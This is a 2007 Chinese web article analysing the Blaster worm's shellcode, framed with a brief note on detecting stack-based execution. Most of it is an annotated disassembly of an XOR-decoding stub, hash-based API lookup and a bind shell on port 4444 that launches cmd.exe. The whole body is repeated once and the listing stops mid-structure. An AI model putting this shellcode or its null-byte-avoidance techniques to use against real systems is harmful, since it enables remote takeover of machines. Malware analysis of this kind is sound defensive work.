“沖擊波”病毒的shellcode源代碼
更新時間：2007年01月16日 00:00:00 作者：
2年前“沖擊波”病毒爆發(fā)時，我曾經(jīng)對它的SHELLCODE進行過分析，現(xiàn)在把我當時寫的分析獻出來，
讓大家看看“一代名毒”是怎樣的。一般來說，shellcode都是這樣寫的，因此只要hook shellcode必須調(diào)用的api，判斷esp和eip
的差值如果在0x1000以內(nèi)（也就是說代碼在堆棧里運行），那么基本上可以確認系統(tǒng)受到緩沖區(qū)溢出攻擊，該進程必須馬上退出。
當然，有些更厲害的shellcode采用直接調(diào)用native api,raw socket收發(fā)包等技術，hook api監(jiān)視緩沖區(qū)溢出攻擊的方法就不靈了，
要考慮其他方法，但這樣寫shellcode,它的體積必然很大，而且各個系統(tǒng)很難通用，也有它的缺陷。
;在exploit中由于不能有0和5C字符存在，所以寫代碼時要注意，因為很多代碼都是有0的，比如
;mov ecx,8的機器碼是b9 08 00 00 00有3個0，所以必須改為xor ecx,ecx/mov cl,8或push 8/pop ecx或xor ecx,ecx--sub ecx,-8
:00401000 90 nop
:00401001 90 nop
:00401002 90 nop
:00401003 EB19 jmp 0040101E
:00401005 5E pop esi ;esi=00401023,從00401023地址開始的代碼將要被還原，實際上esi指向的地址在堆棧中是不固定的
:00401006 31C9 xor ecx, ecx
:00401008 81E989FFFFFF sub ecx, FFFFFF89==-77 ;ecx=77h
:0040100E 813680BF3294 xor dword ptr [esi], 9432BF80 ;還原從00401023開始被加密的代碼
:00401014 81EEFCFFFFFF sub esi, FFFFFFFC ;add esi,4
:0040101A E2F2 loop 0040100E
:0040101C EB05 jmp 00401023 ;還原已經(jīng)完成，跳到被還原的代碼處執(zhí)行
:0040101E E8E2FFFFFF call 00401005 ;這條指令相當于push 00401023,jmp 00401005兩條指令的集合
;此處開始的代碼已經(jīng)被還原:
:00401023 83EC34 sub esp, 00000034
:00401026 8BF4 mov esi, esp ;esi-->變量表
:00401028 E847010000 call 00401174 ;eax=77e40000h=hkernel32
:0040102D 8906 mov dword ptr [esi], eax
:0040102F FF36 push dword ptr [esi] ;=77e40000h
:00401031 688E4E0EEC push EC0E4E8E ;LoadLibraryA字符串的自定義編碼
:00401036 E861010000 call 0040119C
:0040103B 894608 mov dword ptr [esi+08], eax ;=77e605d8h
:0040103E FF36 push dword ptr [esi] ;=77e40000h
:00401040 68ADD905CE push CE05D9AD ;WaitForSingleObject字符串的自定義編碼
:00401045 E852010000 call 0040119C
:0040104A 89460C mov dword ptr [esi+0C], eax ;=77e59d5bh
:0040104D 686C6C0000 push 00006C6C
:00401052 6833322E64 push 642E3233
:00401057 687773325F push 5F327377 ;"ws2_32.dll"
:0040105C 54 push esp ;esp-->"ws2_32.dll"
:0040105D FF5608 call LoadLibraryA -->ws2_32.dll
:00401060 894604 mov dword ptr [esi+04], eax ;=71a20000h(ws2_32.dll 在內(nèi)存里的地址)
:00401063 FF36 push dword ptr [esi] ;=77e40000h
:00401065 6872FEB316 push 16B3FE72 ;CreateProcessA字符串的自定義編碼
:0040106A E82D010000 call 0040119C
:0040106F 894610 mov dword ptr [esi+10], eax
:00401072 FF36 push dword ptr [esi] ;=77e40000h
:00401074 687ED8E273 push 73E2D87E ;ExitProcess字符串的自定義編碼
:00401079 E81E010000 call 0040119C
:0040107E 894614 mov dword ptr [esi+14], eax
:00401081 FF7604 push [esi+04] ;=71a20000h
:00401084 68CBEDFC3B push 3BFCEDCB ;WSAStartup字符串的自定義編碼
:00401089 E80E010000 call 0040119C
:0040108E 894618 mov dword ptr [esi+18], eax
:00401091 FF7604 push [esi+04] ;=71a20000h
:00401094 68D909F5AD push ADF509D9 ;WSASocketA字符串的自定義編碼
:00401099 E8FE000000 call 0040119C
:0040109E 89461C mov dword ptr [esi+1C], eax
:004010A1 FF7604 push [esi+04] ;=71a20000h
:004010A4 68A41A70C7 push C7701AA4 ;bind字符串的自定義編碼
:004010A9 E8EE000000 call 0040119C
:004010AE 894620 mov dword ptr [esi+20], eax
:004010B1 FF7604 push [esi+04] ;=71a20000h
:004010B4 68A4AD2EE9 push E92EADA4 ;listen字符串的自定義編碼
:004010B9 E8DE000000 call 0040119C
:004010BE 894624 mov dword ptr [esi+24], eax
:004010C1 FF7604 push [esi+04] ;=71a20000h
:004010C4 68E5498649 push 498649E5 ;accept字符串的自定義編碼
:004010C9 E8CE000000 call 0040119C
:004010CE 894628 mov dword ptr [esi+28], eax
:004010D1 FF7604 push [esi+04] ;=71a20000h
:004010D4 68E779C679 push 79C679E7 ;closesocket字符串的自定義編碼
:004010D9 E8BE000000 call 0040119C
:004010DE 89462C mov dword ptr [esi+2C], eax
:004010E1 33FF xor edi, edi
:004010E3 81EC90010000 sub esp, 00000190 ;在堆棧里分配臨時空間0x190字節(jié)
:004010E9 54 push esp
:004010EA 6801010000 push 00000101 ;wsock 1.1
:004010EF FF5618 call WSAStartup ;啟動WINSOCK 1.1庫
:004010F2 50 push eax =0
:004010F3 50 push eax =0
:004010F4 50 push eax =0
:004010F5 50 push eax =0
:004010F6 40 inc eax =1
:004010F7 50 push eax =1
:004010F8 40 inc eax =2
:004010F9 50 push eax =2 ;esp-->2,1,0,0,0,0
:004010FA FF561C call WSASocketA ；建立用于監(jiān)聽的TCP SOCKET
:004010FD 8BD8 mov ebx, eax =010ch
:004010FF 57 push edi =0
:00401100 57 push edi =0
:00401101 680200115C push 5C110002 ;port=4444 ;sockaddr_in結構沒有填好，少了4字節(jié)
:00401106 8BCC mov ecx, esp ;ecx-->0200115c0000000000000000
:00401108 6A16 push 00000016h ；這個參數(shù)應該是10h
:0040110A 51 push ecx ;ecx-->0200115c000000000000000
:0040110B 53 push ebx ;hsocket
:0040110C FF5620 call bind ；綁定4444端口
:0040110F 57 push edi =0
:00401110 53 push ebx ;hsocket
:00401111 FF5624 call listen ；4444端口開始進入監(jiān)聽狀態(tài)
:00401114 57 push edi =0
:00401115 51 push ecx =0a2340 ;這個參數(shù)好象有問題，可以是0
:00401116 53 push ebx ;hsocket
:00401117 FF5628 call accept ；接受攻擊主機的連接，開始接收對方傳來的DOS命令
:0040111A 8BD0 mov edx, eax =324h, handle of socket to translate
:0040111C 6865786500 push 00657865
:00401121 68636D642E push 2E646D63 ;"cmd.exe"
:00401126 896630 mov dword ptr [esi+30], esp -->"cmd.exe"
PROCESS_INFORMATION STRUCT
hProcess DWORD ?
hThread DWORD ?
dwProcessId DWORD ?
dwThreadId DWORD ?
PROCESS_INFORMATION ENDS
STARTUPINFO STRUCT
00 cb DWORD ? ;44h
04 lpReserved DWORD ?
08 lpDesktop DWORD ?
0c lpTitle DWORD ?
10 dwX DWORD ?
14 dwY DWORD ?
18 dwXSize DWORD ?
1c dwYSize DWORD ?
20 dwXCountChars DWORD ?
24 dwYCountChars DWORD ?
28 dwFillAttribute DWORD ?
2c dwFlags DWORD ? ;100h, set STARTF_USESTDHANDLES flags
讓大家看看“一代名毒”是怎樣的。一般來說，shellcode都是這樣寫的，因此只要hook shellcode必須調(diào)用的api，判斷esp和eip
的差值如果在0x1000以內(nèi)（也就是說代碼在堆棧里運行），那么基本上可以確認系統(tǒng)受到緩沖區(qū)溢出攻擊，該進程必須馬上退出。
當然，有些更厲害的shellcode采用直接調(diào)用native api,raw socket收發(fā)包等技術，hook api監(jiān)視緩沖區(qū)溢出攻擊的方法就不靈了，
要考慮其他方法，但這樣寫shellcode,它的體積必然很大，而且各個系統(tǒng)很難通用，也有它的缺陷。
;在exploit中由于不能有0和5C字符存在，所以寫代碼時要注意，因為很多代碼都是有0的，比如
;mov ecx,8的機器碼是b9 08 00 00 00有3個0，所以必須改為xor ecx,ecx/mov cl,8或push 8/pop ecx或xor ecx,ecx--sub ecx,-8
:00401000 90 nop
:00401001 90 nop
:00401002 90 nop
:00401003 EB19 jmp 0040101E
:00401005 5E pop esi ;esi=00401023,從00401023地址開始的代碼將要被還原，實際上esi指向的地址在堆棧中是不固定的
:00401006 31C9 xor ecx, ecx
:00401008 81E989FFFFFF sub ecx, FFFFFF89==-77 ;ecx=77h
:0040100E 813680BF3294 xor dword ptr [esi], 9432BF80 ;還原從00401023開始被加密的代碼
:00401014 81EEFCFFFFFF sub esi, FFFFFFFC ;add esi,4
:0040101A E2F2 loop 0040100E
:0040101C EB05 jmp 00401023 ;還原已經(jīng)完成，跳到被還原的代碼處執(zhí)行
:0040101E E8E2FFFFFF call 00401005 ;這條指令相當于push 00401023,jmp 00401005兩條指令的集合
;此處開始的代碼已經(jīng)被還原:
:00401023 83EC34 sub esp, 00000034
:00401026 8BF4 mov esi, esp ;esi-->變量表
:00401028 E847010000 call 00401174 ;eax=77e40000h=hkernel32
:0040102D 8906 mov dword ptr [esi], eax
:0040102F FF36 push dword ptr [esi] ;=77e40000h
:00401031 688E4E0EEC push EC0E4E8E ;LoadLibraryA字符串的自定義編碼
:00401036 E861010000 call 0040119C
:0040103B 894608 mov dword ptr [esi+08], eax ;=77e605d8h
:0040103E FF36 push dword ptr [esi] ;=77e40000h
:00401040 68ADD905CE push CE05D9AD ;WaitForSingleObject字符串的自定義編碼
:00401045 E852010000 call 0040119C
:0040104A 89460C mov dword ptr [esi+0C], eax ;=77e59d5bh
:0040104D 686C6C0000 push 00006C6C
:00401052 6833322E64 push 642E3233
:00401057 687773325F push 5F327377 ;"ws2_32.dll"
:0040105C 54 push esp ;esp-->"ws2_32.dll"
:0040105D FF5608 call LoadLibraryA -->ws2_32.dll
:00401060 894604 mov dword ptr [esi+04], eax ;=71a20000h(ws2_32.dll 在內(nèi)存里的地址)
:00401063 FF36 push dword ptr [esi] ;=77e40000h
:00401065 6872FEB316 push 16B3FE72 ;CreateProcessA字符串的自定義編碼
:0040106A E82D010000 call 0040119C
:0040106F 894610 mov dword ptr [esi+10], eax
:00401072 FF36 push dword ptr [esi] ;=77e40000h
:00401074 687ED8E273 push 73E2D87E ;ExitProcess字符串的自定義編碼
:00401079 E81E010000 call 0040119C
:0040107E 894614 mov dword ptr [esi+14], eax
:00401081 FF7604 push [esi+04] ;=71a20000h
:00401084 68CBEDFC3B push 3BFCEDCB ;WSAStartup字符串的自定義編碼
:00401089 E80E010000 call 0040119C
:0040108E 894618 mov dword ptr [esi+18], eax
:00401091 FF7604 push [esi+04] ;=71a20000h
:00401094 68D909F5AD push ADF509D9 ;WSASocketA字符串的自定義編碼
:00401099 E8FE000000 call 0040119C
:0040109E 89461C mov dword ptr [esi+1C], eax
:004010A1 FF7604 push [esi+04] ;=71a20000h
:004010A4 68A41A70C7 push C7701AA4 ;bind字符串的自定義編碼
:004010A9 E8EE000000 call 0040119C
:004010AE 894620 mov dword ptr [esi+20], eax
:004010B1 FF7604 push [esi+04] ;=71a20000h
:004010B4 68A4AD2EE9 push E92EADA4 ;listen字符串的自定義編碼
:004010B9 E8DE000000 call 0040119C
:004010BE 894624 mov dword ptr [esi+24], eax
:004010C1 FF7604 push [esi+04] ;=71a20000h
:004010C4 68E5498649 push 498649E5 ;accept字符串的自定義編碼
:004010C9 E8CE000000 call 0040119C
:004010CE 894628 mov dword ptr [esi+28], eax
:004010D1 FF7604 push [esi+04] ;=71a20000h
:004010D4 68E779C679 push 79C679E7 ;closesocket字符串的自定義編碼
:004010D9 E8BE000000 call 0040119C
:004010DE 89462C mov dword ptr [esi+2C], eax
:004010E1 33FF xor edi, edi
:004010E3 81EC90010000 sub esp, 00000190 ;在堆棧里分配臨時空間0x190字節(jié)
:004010E9 54 push esp
:004010EA 6801010000 push 00000101 ;wsock 1.1
:004010EF FF5618 call WSAStartup ;啟動WINSOCK 1.1庫
:004010F2 50 push eax =0
:004010F3 50 push eax =0
:004010F4 50 push eax =0
:004010F5 50 push eax =0
:004010F6 40 inc eax =1
:004010F7 50 push eax =1
:004010F8 40 inc eax =2
:004010F9 50 push eax =2 ;esp-->2,1,0,0,0,0
:004010FA FF561C call WSASocketA ；建立用于監(jiān)聽的TCP SOCKET
:004010FD 8BD8 mov ebx, eax =010ch
:004010FF 57 push edi =0
:00401100 57 push edi =0
:00401101 680200115C push 5C110002 ;port=4444 ;sockaddr_in結構沒有填好，少了4字節(jié)
:00401106 8BCC mov ecx, esp ;ecx-->0200115c0000000000000000
:00401108 6A16 push 00000016h ；這個參數(shù)應該是10h
:0040110A 51 push ecx ;ecx-->0200115c000000000000000
:0040110B 53 push ebx ;hsocket
:0040110C FF5620 call bind ；綁定4444端口
:0040110F 57 push edi =0
:00401110 53 push ebx ;hsocket
:00401111 FF5624 call listen ；4444端口開始進入監(jiān)聽狀態(tài)
:00401114 57 push edi =0
:00401115 51 push ecx =0a2340 ;這個參數(shù)好象有問題，可以是0
:00401116 53 push ebx ;hsocket
:00401117 FF5628 call accept ；接受攻擊主機的連接，開始接收對方傳來的DOS命令
:0040111A 8BD0 mov edx, eax =324h, handle of socket to translate
:0040111C 6865786500 push 00657865
:00401121 68636D642E push 2E646D63 ;"cmd.exe"
:00401126 896630 mov dword ptr [esi+30], esp -->"cmd.exe"
PROCESS_INFORMATION STRUCT
hProcess DWORD ?
hThread DWORD ?
dwProcessId DWORD ?
dwThreadId DWORD ?
PROCESS_INFORMATION ENDS
STARTUPINFO STRUCT
00 cb DWORD ? ;44h
04 lpReserved DWORD ?
08 lpDesktop DWORD ?
0c lpTitle DWORD ?
10 dwX DWORD ?
14 dwY DWORD ?
18 dwXSize DWORD ?
1c dwYSize DWORD ?
20 dwXCountChars DWORD ?
24 dwYCountChars DWORD ?
28 dwFillAttribute DWORD ?
2c dwFlags DWORD ? ;100h, set STARTF_USESTDHANDLES flags
相關文章
逐一偵破 網(wǎng)上銀行安全漏洞2007-01-01
db_owner權限得到webshell...2007-02-02
Advanced SQL Injection with MySQL
Advanced SQL Injection with MySQL...2007-01-01
新型網(wǎng)絡攻擊威脅大量網(wǎng)站2007-01-01
黑客如何利用Ms05002溢出找“肉雞” (圖)...2007-01-01
DVBBS7.1 SQL版 跨庫漏洞...2007-01-01
首先必須感謝的X.G.C.Team的OPEN在幾個關鍵的地方給予我分析,解決辦法的幫助.與及咱們論壇好幾位兄弟的幫助.最終我才把這個東西給分析出來..2008-05-05
PollVote投票系統(tǒng)漏洞利用...2007-01-01
利用圖片做木馬應用完全解析...2007-01-01
養(yǎng)在深閨人未識：FU_Rootkit...2007-01-01